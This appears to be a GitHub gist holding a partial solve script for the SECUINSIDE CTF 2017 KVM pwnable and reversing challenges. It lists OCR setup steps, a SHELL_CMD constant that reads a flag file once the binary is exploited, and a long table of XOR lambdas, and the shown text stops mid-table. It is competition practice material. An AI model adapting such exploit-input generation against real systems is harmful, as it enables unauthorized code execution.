Skip to content

Instantly share code, notes, and snippets.

@eggpod
Last active October 10, 2019 04:35
Show Gist options
  • Save eggpod/3fbda11dda617d0ca67c3871f9bdac3b to your computer and use it in GitHub Desktop.
Save eggpod/3fbda11dda617d0ca67c3871f9bdac3b to your computer and use it in GitHub Desktop.
#-*- coding: utf-8
"""
SECUINSIDE CTF 2017 - KVM PWN, KVM REV
wget http://www.leptonica.com/source/leptonica-1.74.4.tar.gz
./configure && make install
wget https://github.com/tesseract-ocr/tesseract/archive/3.05.zip
./autogen.sh && ./configure && make install
wget https://github.com/tesseract-ocr/tessdata/blob/3.04.00/kor.traineddata
cp kor.traineddata /usr/local/share/tessdata/kor.traineddata
apt-get install fonts-nanum-coding
--
echo 'this_is_flag' > /home/kimchi-vm/pwnable_flag.txt
python secuinside2017_kvm.py
./kvm < kvminput
"""
import numpy
import PIL.Image
import PIL.ImageDraw
import PIL.ImageFont
import os, sys
from ctypes import *
msg_list = [
u"두",u"강",u"남",u"스",u"타",u"일",u"김",u"치",
u"불",u"고",u"기",u"한",u"우",u"장",u"어",u"돼",
u"지",u"구",u"글",u"좋",u"아",u"마",u"법",u"사",
u"태",u"국",u"정",u"보",u"술",u"원",u"임",u"준",
]
LINE_CHAR_COUNT = 24
SHELL_CMD = "cat /home/kimchi-vm/pwnable_flag.txt"
functable = []
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F)
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F)
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F)
